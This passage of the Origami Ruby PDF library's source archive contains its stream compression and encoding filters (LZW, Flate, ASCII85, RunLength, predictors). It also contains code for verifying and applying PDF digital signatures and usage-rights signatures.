get_white_bits(input) else bit_length = get_black_bits(input) end raise InvalidCCITTFaxDataError.new( "Unfinished line (at bit pos #{input.pos}/#{input.size}})", output.final.to_s ) if bit_length.nil? line_length += bit_length raise InvalidCCITTFaxDataError.new( "Line is too long (at bit pos #{input.pos}/#{input.size}})", output.final.to_s ) if line_length > columns write_bit_range(output, current_color, bit_length) current_color ^= 1 end end def decode_two_dimensional_line(input, output, columns, colors, prev_line) #:nodoc: raise NotImplementedError, "CCITT two-dimensional decoding scheme not supported." end def get_white_bits(bitr) #:nodoc: get_color_bits(bitr, WHITE_CONFIGURATION_DECODE_TABLE, WHITE_TERMINAL_DECODE_TABLE) end def get_black_bits(bitr) #:nodoc: get_color_bits(bitr, BLACK_CONFIGURATION_DECODE_TABLE, BLACK_TERMINAL_DECODE_TABLE) end def get_color_bits(bitr, config_words, term_words) #:nodoc: bits = 0 check_conf = true while check_conf check_conf = false (2..13).each do |length| codeword = bitr.peek(length) config_value = config_words[[codeword, length]] if config_value bitr.pos += length bits += config_value check_conf = true if config_value == 2560 break end end end (2..13).each do |length| codeword = bitr.peek(length) term_value = term_words[[codeword, length]] if term_value bitr.pos += length bits += term_value return bits end end nil end def lookup_bits(table, codeword, length) table.rassoc [codeword, length] end def put_white_bits(bitw, length) #:nodoc: put_color_bits(bitw, length, WHITE_CONFIGURATION_ENCODE_TABLE, WHITE_TERMINAL_ENCODE_TABLE) end def put_black_bits(bitw, length) #:nodoc: put_color_bits(bitw, length, BLACK_CONFIGURATION_ENCODE_TABLE, BLACK_TERMINAL_ENCODE_TABLE) end def put_color_bits(bitw, length, config_words, term_words) #:nodoc: while length > 2559 bitw.write(*config_words[2560]) length -= 2560 end if length > 63 conf_length = (length >> 6) << 6 bitw.write(*config_words[conf_length]) length -= conf_length end bitw.write(*term_words[length]) end def write_bit_range(bitw, bit_value, length) #:nodoc: bitw.write((bit_value << length) - bit_value, length) end end CCF = CCITTFax end end origami-pdf-1.2.7/lib/origami/filters/jpx.rb0000644000175000017500000000251112101464040021113 0ustar terceiroterceiro=begin = File filters/jpx.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami module Filter # # Class representing a Filter used to encode and decode data with JPX compression algorithm. # class JPX include Filter # # Not supported. # def encode(stream) raise NotImplementedError, "#{self.class} is not yet supported" end # # Not supported. # def decode(stream) raise NotImplementedError, "#{self.class} is not yet supported" end end end end origami-pdf-1.2.7/lib/origami/filters/ascii.rb0000644000175000017500000001206312101464040021405 0ustar terceiroterceiro=begin = File filters/ascii.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami module Filter class InvalidASCIIHexStringError < InvalidFilterDataError #:nodoc: end # # Class representing a filter used to encode and decode data written into hexadecimal. # class ASCIIHex include Filter EOD = ">" #:nodoc: # # Encodes given data into upcase hexadecimal representation. # _stream_:: The data to encode. # def encode(stream) stream.unpack("H2" * stream.size).join.upcase end # # Decodes given data writen into upcase hexadecimal representation. # _string_:: The data to decode. # def decode(string) input = string.include?(?>) ? string[0..string.index(?>) - 1] : string digits = input.delete(" \f\t\r\n\0").split(/(..)/).delete_if{|digit| digit.empty?} if not digits.all? { |d| d =~ /[a-fA-F0-9]{1,2}/ } raise InvalidASCIIHexStringError, input end digits.pack("H2" * digits.size) end end AHx = ASCIIHex class InvalidASCII85StringError < InvalidFilterDataError #:nodoc: end # # Class representing a filter used to encode and decode data written in base85 encoding. # class ASCII85 include Filter EOD = "~>" #:nodoc: # # Encodes given data into base85. # _stream_:: The data to encode. # def encode(stream) i = 0 code = "" input = stream.dup while i < input.size do if input.length - i < 4 addend = 4 - (input.length - i) input << "\0" * addend else addend = 0 end inblock = (input[i].ord * 256**3 + input[i+1].ord * 256**2 + input[i+2].ord * 256 + input[i+3].ord) outblock = "" 5.times do |p| c = inblock / 85 ** (4 - p) outblock << ("!"[0].ord + c).chr inblock -= c * 85 ** (4 - p) end outblock = "z" if outblock == "!!!!!" and addend == 0 if addend != 0 outblock = outblock[0,(4 - addend) + 1] end code << outblock i = i + 4 end code end # # Decodes the given data encoded in base85. # _string_:: The data to decode. # def decode(string) input = (string.include?(EOD) ? string[0..string.index(EOD) - 1] : string).delete(" \f\t\r\n\0") i = 0 result = "" while i < input.size do outblock = "" if input[i].ord == "z"[0].ord inblock = 0 codelen = 1 else inblock = 0 codelen = 5 if input.length - i < 5 raise InvalidASCII85StringError.new("Invalid length", result) if input.length - i == 1 addend = 5 - (input.length - i) input << "u" * addend else addend = 0 end # Checking if this string is in base85 5.times do |j| if input[i+j].ord > "u"[0].ord or input[i+j].ord < "!"[0].ord raise InvalidASCII85StringError.new( "Invalid character sequence: #{input[i,5].inspect}", result ) else inblock += (input[i+j].ord - "!"[0].ord) * 85 ** (4 - j) end end raise InvalidASCII85StringError.new( "Invalid value (#{inblock}) for block #{input[i,5].inspect}", result ) if inblock >= 2**32 end 4.times do |p| c = inblock / 256 ** (3 - p) outblock << c.chr inblock -= c * 256 ** (3 - p) end if addend != 0 outblock = outblock[0, 4 - addend] end result << outblock i = i + codelen end result end end A85 = ASCII85 end end origami-pdf-1.2.7/lib/origami/filters/jbig2.rb0000644000175000017500000000306212101464040021311 0ustar terceiroterceiro=begin = File filters/jbig2.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami module Filter # # Class representing a Filter used to encode and decode data with JBIG2 compression algorithm. # class JBIG2 include Filter class DecodeParms < Dictionary include StandardObject field :JBIG2Globals, :Type => Stream end def initialize(parameters = {}) super(DecodeParms.new(parameters)) end # # Not supported. # def encode(stream) raise NotImplementedError, "#{self.class} is not yet supported" end # # Not supported. # def decode(stream) raise NotImplementedError, "#{self.class} is not yet supported" end end end end origami-pdf-1.2.7/lib/origami/filters/lzw.rb0000644000175000017500000001323512101464040021133 0ustar terceiroterceiro=begin = File filters/lzw.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end require 'origami/filters/predictors' module Origami module Filter class InvalidLZWDataError < InvalidFilterDataError #:nodoc: end # # Class representing a filter used to encode and decode data with LZW compression algorithm. # class LZW include Filter class DecodeParms < Dictionary include StandardObject field :Predictor, :Type => Integer, :Default => 1 field :Colors, :Type => Integer, :Default => 1 field :BitsPerComponent, :Type => Integer, :Default => 8 field :Columns, :Type => Integer, :Default => 1 field :EarlyChange, :Type => Integer, :Default => 1 end EOD = 257 #:nodoc: CLEARTABLE = 256 #:nodoc: # # Creates a new LZW Filter. # _parameters_:: A hash of filter options (ignored). # def initialize(parameters = {}) super(DecodeParms.new(parameters)) end # # Encodes given data using LZW compression method. # _stream_:: The data to encode. # def encode(string) if @params.Predictor.is_a?(Integer) colors = @params.Colors.is_a?(Integer) ? @params.Colors.to_i : 1 bpc = @params.BitsPerComponent.is_a?(Integer) ? @params.BitsPerComponent.to_i : 8 columns = @params.Columns.is_a?(Integer) ? @params.Columns.to_i : 1 string = Predictor.do_pre_prediction(string, @params.Predictor.to_i, colors, bpc, columns) end codesize = 9 result = Utils::BitWriter.new result.write(CLEARTABLE, codesize) table = clear({}) s = '' string.each_byte do |byte| char = byte.chr case table.size when 512 then codesize = 10 when 1024 then codesize = 11 when 2048 then codesize = 12 when 4096 result.write(CLEARTABLE, codesize) codesize = 9 clear table redo end it = s + char if table.has_key?(it) s = it else result.write(table[s], codesize) table[it] = table.size s = char end end result.write(table[s], codesize) result.write(EOD, codesize) result.final.to_s end # # Decodes given data using LZW compression method. # _stream_:: The data to decode. # def decode(string) result = "" bstring = Utils::BitReader.new(string) codesize = 9 table = clear(Hash.new) prevbyte = nil until bstring.eod? do byte = bstring.read(codesize) case table.size when 510 then codesize = 10 when 1022 then codesize = 11 when 2046 then codesize = 12 when 4095 if byte != CLEARTABLE then raise InvalidLZWDataError.new( "LZW table is full and no clear flag was set (codeword #{byte.to_s(2).rjust(codesize,'0')} at bit #{bstring.pos - codesize}/#{bstring.size})", result ) end end if byte == CLEARTABLE codesize = 9 code = EOD clear table prevbyte = nil redo elsif byte == EOD break else if prevbyte.nil? prevbyte = byte result << table.key(byte) redo else raise InvalidLZWDataError.new( "No entry for codeword #{prevbyte.to_s(2).rjust(codesize,'0')}.", result ) unless table.key(prevbyte) if table.has_value?(byte) entry = table.key(byte) else entry = table.key(prevbyte) entry += entry[0,1] end result << entry table[table.key(prevbyte) + entry[0,1]] = table.size prevbyte = byte end end end if @params.Predictor.is_a?(Integer) colors = @params.Colors.is_a?(Integer) ? @params.Colors.to_i : 1 bpc = @params.BitsPerComponent.is_a?(Integer) ? @params.BitsPerComponent.to_i : 8 columns = @params.Columns.is_a?(Integer) ? @params.Columns.to_i : 1 result = Predictor.do_post_prediction(result, @params.Predictor.to_i, colors, bpc, columns) end result end private def clear(table) #:nodoc: table.clear 256.times do |i| table[i.chr] = i end table[CLEARTABLE] = CLEARTABLE table[EOD] = EOD table end end end end origami-pdf-1.2.7/lib/origami/filters/predictors.rb0000644000175000017500000001662112101464040022477 0ustar terceiroterceiro=begin = File filters/predictors.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami module Filter class PredictorError < Exception #:nodoc: end module Predictor NONE = 1 TIFF = 2 PNG_NONE = 10 PNG_SUB = 11 PNG_UP = 12 PNG_AVERAGE = 13 PNG_PAETH = 14 PNG_OPTIMUM = 15 def self.do_pre_prediction(data, predictor = NONE, colors = 1, bpc = 8, columns = 1) return data if predictor == NONE unless (1..4) === colors.to_i raise PredictorError, "Colors must be between 1 and 4" end unless [1,2,4,8,16].include?(bpc.to_i) raise PredictorError, "BitsPerComponent must be in 1, 2, 4, 8 or 16" end # components per line nvals = columns * colors # bytes per pixel bpp = (colors * bpc + 7) >> 3 # bytes per row bpr = (nvals * bpc + 7) >> 3 unless data.size % bpr == 0 raise PredictorError, "Invalid data size #{data.size}, should be multiple of bpr=#{bpr}" end if predictor == TIFF do_tiff_pre_prediction(data, colors, bpc, columns) elsif predictor >= 10 # PNG do_png_pre_prediction(data, predictor, bpp, bpr) else raise PredictorError, "Unknown predictor : #{predictor}" end end def self.do_post_prediction(data, predictor = NONE, colors = 1, bpc = 8, columns = 1) return data if predictor == NONE unless (1..4) === colors raise PredictorError, "Colors must be between 1 and 4" end unless [1,2,4,8,16].include?(bpc) raise PredictorError, "BitsPerComponent must be in 1, 2, 4, 8 or 16" end # components per line nvals = columns * colors # bytes per pixel bpp = (colors * bpc + 7) >> 3 # bytes per row bpr = ((nvals * bpc + 7) >> 3) + 1 if predictor == TIFF do_tiff_post_prediction(data, colors, bpc, columns) elsif predictor >= 10 # PNG do_png_post_prediction(data, bpp, bpr) else raise PredictorError, "Unknown predictor : #{predictor}" end end def self.do_png_post_prediction(data, bpp, bpr) result = "" uprow = "\0" * bpr thisrow = "\0" * bpr nrows = (data.size + bpr - 1) / bpr nrows.times do |irow| line = data[irow * bpr, bpr] predictor = 10 + line[0].ord line[0] = "\0" for i in (1..line.size-1) up = uprow[i].ord if bpp > i left = upleft = 0 else left = line[i-bpp].ord upleft = uprow[i-bpp].ord end case predictor when PNG_NONE thisrow = line when PNG_SUB thisrow[i] = ((line[i].ord + left) & 0xFF).chr when PNG_UP thisrow[i] = ((line[i].ord + up) & 0xFF).chr when PNG_AVERAGE thisrow[i] = ((line[i].ord + ((left + up) / 2)) & 0xFF).chr when PNG_PAETH p = left + up - upleft pa, pb, pc = (p - left).abs, (p - up).abs, (p - upleft).abs thisrow[i] = ((line[i].ord + case [ pa, pb, pc ].min when pa then left when pb then up when pc then upleft end ) & 0xFF).chr else puts "Unknown PNG predictor : #{predictor}" thisrow = line end end result << thisrow[1..-1] uprow = thisrow end result end def self.do_png_pre_prediction(data, predictor, bpp, bpr) result = "" nrows = data.size / bpr line = "\0" + data[-bpr, bpr] (nrows-1).downto(0) do |irow| uprow = if irow == 0 "\0" * (bpr+1) else "\0" + data[(irow-1)*bpr,bpr] end bpr.downto(1) do |i| up = uprow[i].ord left = line[i-bpp].ord upleft = uprow[i-bpp].ord case predictor when PNG_SUB line[i] = ((line[i].ord - left) & 0xFF).chr when PNG_UP line[i] = ((line[i].ord - up) & 0xFF).chr when PNG_AVERAGE line[i] = ((line[i].ord - ((left + up) / 2)) & 0xFF).chr when PNG_PAETH p = left + up - upleft pa, pb, pc = (p - left).abs, (p - up).abs, (p - upleft).abs line[i] = ((line[i].ord - case [ pa, pb, pc ].min when pa then left when pb then up when pc then upleft end ) & 0xFF).chr when PNG_NONE else raise PredictorError, "Unsupported PNG predictor : #{predictor}" end end line[0] = (predictor - 10).chr result = line + result line = uprow end result end def self.do_tiff_post_prediction(data, colors, bpc, columns) #:nodoc: bpr = (colors * bpc * columns + 7) >> 3 nrows = data.size / bpr bitmask = (1 << bpc) - 1 result = Utils::BitWriter.new nrows.times do |irow| line = Utils::BitReader.new(data[irow * bpr, bpr]) pixel = ::Array.new(colors, 0) columns.times do diffpixel = ::Array.new(colors) { line.read(bpc) } pixel = pixel.zip(diffpixel).map!{|c, diff| (c + diff) & bitmask} pixel.each do |c| result.write(c, bpc) end end result.final end result.final.to_s end def self.do_tiff_pre_prediction(data, colors, bpc, columns) #:nodoc: bpr = (colors * bpc * columns + 7) >> 3 nrows = data.size / bpr bitmask = (1 << bpc) - 1 result = Utils::BitWriter.new nrows.times do |irow| line = Utils::BitReader.new(data[irow * bpr, bpr]) diffpixel = ::Array.new(colors, 0) columns.times do pixel = ::Array.new(colors) { line.read(bpc) } diffpixel = diffpixel.zip(pixel).map!{|diff, c| (c - diff) & bitmask} diffpixel.each do |c| result.write(c, bpc) end end result.final end result.final.to_s end end end end origami-pdf-1.2.7/lib/origami/filters/flate.rb0000644000175000017500000000653212133245664021432 0ustar terceiroterceiro=begin = File filters/flate.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end require 'zlib' require 'origami/filters/predictors' module Origami module Filter class InvalidFlateDataError < InvalidFilterDataError; end #:nodoc: # # Class representing a Filter used to encode and decode data with zlib/Flate compression algorithm. # class Flate include Filter EOD = 257 #:nodoc: class DecodeParms < Dictionary include StandardObject field :Predictor, :Type => Integer, :Default => 1 field :Colors, :Type => Integer, :Default => 1 field :BitsPerComponent, :Type => Integer, :Default => 8 field :Columns, :Type => Integer, :Default => 1 end # # Create a new Flate Filter. # _parameters_:: A hash of filter options (ignored). # def initialize(parameters = {}) super(DecodeParms.new(parameters)) end # # Encodes data using zlib/Deflate compression method. # _stream_:: The data to encode. # def encode(stream) if @params.Predictor.is_a?(Integer) colors = @params.Colors.is_a?(Integer) ? @params.Colors.to_i : 1 bpc = @params.BitsPerComponent.is_a?(Integer) ? @params.BitsPerComponent.to_i : 8 columns = @params.Columns.is_a?(Integer) ? @params.Columns.to_i : 1 stream = Predictor.do_pre_prediction(stream, @params.Predictor.to_i, colors, bpc, columns) end Zlib::Deflate.deflate(stream, Zlib::BEST_COMPRESSION) end # # Decodes data using zlib/Inflate decompression method. # _stream_:: The data to decode. # def decode(stream) zlib_stream = Zlib::Inflate.new begin uncompressed = zlib_stream.inflate(stream) rescue Zlib::DataError => zlib_except uncompressed = zlib_stream.flush_next_out unless Origami::OPTIONS[:ignore_zlib_errors] raise InvalidFlateDataError.new(zlib_except.message, uncompressed) end end if @params.Predictor.is_a?(Integer) colors = @params.Colors.is_a?(Integer) ? @params.Colors.to_i : 1 bpc = @params.BitsPerComponent.is_a?(Integer) ? @params.BitsPerComponent.to_i : 8 columns = @params.Columns.is_a?(Integer) ? @params.Columns.to_i : 1 uncompressed = Predictor.do_post_prediction(uncompressed, @params.Predictor.to_i, colors, bpc, columns) end uncompressed end end Fl = Flate end end origami-pdf-1.2.7/lib/origami/filters/runlength.rb0000644000175000017500000000544212101464040022326 0ustar terceiroterceiro=begin = File filters/runlength.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami module Filter class InvalidRunLengthDataError < InvalidFilterDataError #:nodoc: end # # Class representing a Filter used to encode and decode data using RLE compression algorithm. # class RunLength include Filter EOD = 128 #:nodoc: # # Encodes data using RLE compression method. # _stream_:: The data to encode. # def encode(stream) result = "" i = 0 while i < stream.size # # How many identical bytes coming? # length = 1 while i+1 < stream.size and length < EOD and stream[i] == stream[i+1] length = length + 1 i = i + 1 end # # If more than 1, then compress them. # if length > 1 result << (257 - length).chr << stream[i,1] # # Otherwise how many different bytes to copy ? # else j = i while j+1 < stream.size and (j - i + 1) < EOD and stream[j] != stream[j+1] j = j + 1 end length = j - i result << length.chr << stream[i, length+1] i = j end i = i + 1 end result << EOD.chr end # # Decodes data using RLE decompression method. # _stream_:: The data to decode. # def decode(stream) raise InvalidRunLengthDataError, "No end marker" unless stream.include?(EOD.chr) i = 0 result = "" until stream[i].ord == EOD do length = stream[i].ord if length < EOD result << stream[i + 1, length + 1] i = i + length + 2 else result << stream[i + 1,1] * (257 - length) i = i + 2 end end result end end RL = RunLength end end origami-pdf-1.2.7/lib/origami/signature.rb0000644000175000017500000005026212140716050020655 0ustar terceiroterceiro=begin = File signature.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end begin require 'openssl' if Origami::OPTIONS[:use_openssl] rescue LoadError Origami::OPTIONS[:use_openssl] = false end require 'digest/sha1' module Origami class PDF class SignatureError < Exception #:nodoc: end # # Verify a document signature. # Options: # _:trusted_: an array of trusted X509 certificates. # If no argument is passed, embedded certificates are treated as trusted. # def verify(options = {}) unless Origami::OPTIONS[:use_openssl] fail "OpenSSL is not present or has been disabled." end params = { :trusted => [] }.update(options) digsig = self.signature unless digsig[:Contents].is_a?(String) raise SignatureError, "Invalid digital signature contents" end store = OpenSSL::X509::Store.new params[:trusted].each do |ca| store.add_cert(ca) end flags = 0 flags |= OpenSSL::PKCS7::NOVERIFY if params[:trusted].empty? stream = StringScanner.new(self.original_data) stream.pos = digsig[:Contents].file_offset Object.typeof(stream).parse(stream) endofsig_offset = stream.pos stream.terminate s1,l1,s2,l2 = digsig.ByteRange if s1.value != 0 or (s2.value + l2.value) != self.original_data.size or (s1.value + l1.value) != digsig[:Contents].file_offset or s2.value != endofsig_offset raise SignatureError, "Invalid signature byte range" end data = self.original_data[s1,l1] + self.original_data[s2,l2] case digsig.SubFilter.value.to_s when 'adbe.pkcs7.detached' flags |= OpenSSL::PKCS7::DETACHED p7 = OpenSSL::PKCS7.new(digsig[:Contents].value) raise SignatureError, "Not a PKCS7 detached signature" unless p7.detached? p7.verify([], store, data, flags) when 'adbe.pkcs7.sha1' p7 = OpenSSL::PKCS7.new(digsig[:Contents].value) p7.verify([], store, nil, flags) and p7.data == Digest::SHA1.digest(data) else raise NotImplementedError, "Unsupported method #{digsig.SubFilter}" end end # # Sign the document with the given key and x509 certificate. # _certificate_:: The X509 certificate containing the public key. # _key_:: The private key associated with the certificate. # _ca_:: Optional CA certificates used to sign the user certificate. # def sign(certificate, key, options = {}) unless Origami::OPTIONS[:use_openssl] fail "OpenSSL is not present or has been disabled." end params = { :method => "adbe.pkcs7.detached", :ca => [], :annotation => nil, :location => nil, :contact => nil, :reason => nil }.update(options) unless certificate.is_a?(OpenSSL::X509::Certificate) raise TypeError, "A OpenSSL::X509::Certificate object must be passed." end unless key.is_a?(OpenSSL::PKey::RSA) raise TypeError, "A OpenSSL::PKey::RSA object must be passed." end ca = params[:ca] unless ca.is_a?(::Array) raise TypeError, "Expected an Array of CA certificate." end annotation = params[:annotation] unless annotation.nil? or annotation.is_a?(Annotation::Widget::Signature) raise TypeError, "Expected a Annotation::Widget::Signature object." end case params[:method] when 'adbe.pkcs7.detached' signfield_size = lambda{|crt,key,ca| datatest = "abcdefghijklmnopqrstuvwxyz" OpenSSL::PKCS7.sign( crt, key, datatest, ca, OpenSSL::PKCS7::DETACHED | OpenSSL::PKCS7::BINARY ).to_der.size + 128 } when 'adbe.pkcs7.sha1' signfield_size = lambda{|crt,key,ca| datatest = "abcdefghijklmnopqrstuvwxyz" OpenSSL::PKCS7.sign( crt, key, Digest::SHA1.digest(datatest), ca, OpenSSL::PKCS7::BINARY ).to_der.size + 128 } when 'adbe.x509.rsa_sha1' signfield_size = lambda{|crt,key,ca| datatest = "abcdefghijklmnopqrstuvwxyz" key.private_encrypt( Digest::SHA1.digest(datatest) ).size + 128 } raise NotImplementedError, "Unsupported method #{params[:method].inspect}" else raise NotImplementedError, "Unsupported method #{params[:method].inspect}" end digsig = Signature::DigitalSignature.new.set_indirect(true) if annotation.nil? annotation = Annotation::Widget::Signature.new annotation.Rect = Rectangle[:llx => 0.0, :lly => 0.0, :urx => 0.0, :ury => 0.0] end annotation.V = digsig add_fields(annotation) self.Catalog.AcroForm.SigFlags = InteractiveForm::SigFlags::SIGNATURESEXIST | InteractiveForm::SigFlags::APPENDONLY digsig.Type = :Sig #:nodoc: digsig.Contents = HexaString.new("\x00" * signfield_size[certificate, key, ca]) #:nodoc: digsig.Filter = Name.new("Adobe.PPKMS") #:nodoc: digsig.SubFilter = Name.new(params[:method]) #:nodoc: digsig.ByteRange = [0, 0, 0, 0] #:nodoc: digsig.Location = HexaString.new(params[:location]) if params[:location] digsig.ContactInfo = HexaString.new(params[:contact]) if params[:contact] digsig.Reason = HexaString.new(params[:reason]) if params[:reason] if params[:method] == 'adbe.x509.rsa_sha1' digsig.Cert = if ca.empty? HexaString.new(certificate.to_der) else [ HexaString.new(certificate.to_der) ] + ca.map{ |crt| HexaString.new(crt.to_der) } end end # # Flattening the PDF to get file view. # compile # # Creating an empty Xref table to compute signature byte range. # rebuild_dummy_xrefs sigoffset = get_object_offset(digsig.no, digsig.generation) + digsig.sigOffset digsig.ByteRange[0] = 0 digsig.ByteRange[1] = sigoffset digsig.ByteRange[2] = sigoffset + digsig.Contents.size digsig.ByteRange[3] = filesize - digsig.ByteRange[2] until digsig.ByteRange[3] == filesize - digsig.ByteRange[2] # From that point the file size remains constant # # Correct Xrefs variations caused by ByteRange modifications. # rebuildxrefs filedata = output() signable_data = filedata[digsig.ByteRange[0],digsig.ByteRange[1]] + filedata[digsig.ByteRange[2],digsig.ByteRange[3]] signature = case params[:method] when 'adbe.pkcs7.detached' OpenSSL::PKCS7.sign( certificate, key, signable_data, ca, OpenSSL::PKCS7::DETACHED | OpenSSL::PKCS7::BINARY ).to_der when 'adbe.pkcs7.sha1' OpenSSL::PKCS7.sign( certificate, key, Digest::SHA1.digest(signable_data), ca, OpenSSL::PKCS7::BINARY ).to_der when 'adbe.x509.rsa_sha1' key.private_encrypt(Digest::SHA1.digest(signable_data)) end digsig.Contents[0, signature.size] = signature # # No more modification are allowed after signing. # self.freeze end # # Returns whether the document contains a digital signature. # def is_signed? begin self.Catalog.AcroForm.is_a?(Dictionary) and self.Catalog.AcroForm.has_key?(:SigFlags) and (self.Catalog.AcroForm.SigFlags & InteractiveForm::SigFlags::SIGNATURESEXIST != 0) rescue InvalidReferenceError false end end # # Enable the document Usage Rights. # _rights_:: list of rights defined in UsageRights::Rights # def enable_usage_rights(cert, pkey, *rights) unless Origami::OPTIONS[:use_openssl] fail "OpenSSL is not present or has been disabled." end signfield_size = lambda{|crt, key, ca| datatest = "abcdefghijklmnopqrstuvwxyz" OpenSSL::PKCS7.sign(crt, key, datatest, ca, OpenSSL::PKCS7::DETACHED | OpenSSL::PKCS7::BINARY).to_der.size + 128 } # # Load key pair # key = pkey.is_a?(OpenSSL::PKey::RSA) ? pkey : OpenSSL::PKey::RSA.new(pkey) certificate = cert.is_a?(OpenSSL::X509::Certificate) ? cert : OpenSSL::X509::Certificate.new(cert) # # Forge digital signature dictionary # digsig = Signature::DigitalSignature.new.set_indirect(true) self.Catalog.AcroForm ||= InteractiveForm.new #self.Catalog.AcroForm.SigFlags = InteractiveForm::SigFlags::APPENDONLY digsig.Type = :Sig #:nodoc: digsig.Contents = HexaString.new("\x00" * signfield_size[certificate, key, []]) #:nodoc: digsig.Filter = Name.new("Adobe.PPKLite") #:nodoc: digsig.Name = "ARE Acrobat Product v8.0 P23 0002337" #:nodoc: digsig.SubFilter = Name.new("adbe.pkcs7.detached") #:nodoc: digsig.ByteRange = [0, 0, 0, 0] #:nodoc: sigref = Signature::Reference.new #:nodoc: sigref.Type = :SigRef #:nodoc: sigref.TransformMethod = :UR3 #:nodoc: sigref.Data = self.Catalog sigref.TransformParams = UsageRights::TransformParams.new sigref.TransformParams.P = true #:nodoc: sigref.TransformParams.Type = :TransformParams #:nodoc: sigref.TransformParams.V = UsageRights::TransformParams::VERSION rights.each do |right| sigref.TransformParams[right.first] ||= [] sigref.TransformParams[right.first].concat(right[1..-1]) end digsig.Reference = [ sigref ] self.Catalog.Perms ||= Perms.new self.Catalog.Perms.UR3 = digsig # # Flattening the PDF to get file view. # compile # # Creating an empty Xref table to compute signature byte range. # rebuild_dummy_xrefs sigoffset = get_object_offset(digsig.no, digsig.generation) + digsig.sigOffset digsig.ByteRange[0] = 0 digsig.ByteRange[1] = sigoffset digsig.ByteRange[2] = sigoffset + digsig.Contents.size digsig.ByteRange[3] = filesize - digsig.ByteRange[2] until digsig.ByteRange[3] == filesize - digsig.ByteRange[2] # From that point the file size remains constant # # Correct Xrefs variations caused by ByteRange modifications. # rebuildxrefs filedata = output() signable_data = filedata[digsig.ByteRange[0],digsig.ByteRange[1]] + filedata[digsig.ByteRange[2],digsig.ByteRange[3]] signature = OpenSSL::PKCS7.sign(certificate, key, signable_data, [], OpenSSL::PKCS7::DETACHED | OpenSSL::PKCS7::BINARY).to_der digsig.Contents[0, signature.size] = signature # # No more modification are allowed after signing. # self.freeze end def has_usage_rights? not self.Catalog.Perms.nil? and (not self.Catalog.Perms.has_key?(:UR3) or not self.Catalog.Perms.has_key?(:UR)) end def signature raise SignatureError, "Not a signed document" unless self.is_signed? self.each_field do |field| if field.FT == :Sig and field.V.is_a?(Dictionary) return field.V end end raise SignatureError, "Cannot find digital signature" end end class Perms < Dictionary include StandardObject field :DocMDP, :Type => Dictionary field :UR, :Type => Dictionary field :UR3, :Type => Dictionary, :Version => "1.6" end module Signature # # Class representing a digital signature. # class DigitalSignature < Dictionary include StandardObject field :Type, :Type => Name, :Default => :Sig field :Filter, :Type => Name, :Default => "Adobe.PPKMS".to_sym, :Required => true field :SubFilter, :Type => Name field :Contents, :Type => String, :Required => true field :Cert, :Type => [ Array, String ] field :ByteRange, :Type => Array field :Reference, :Type => Array, :Version => "1.5" field :Changes, :Type => Array field :Name, :Type => String field :M, :Type => 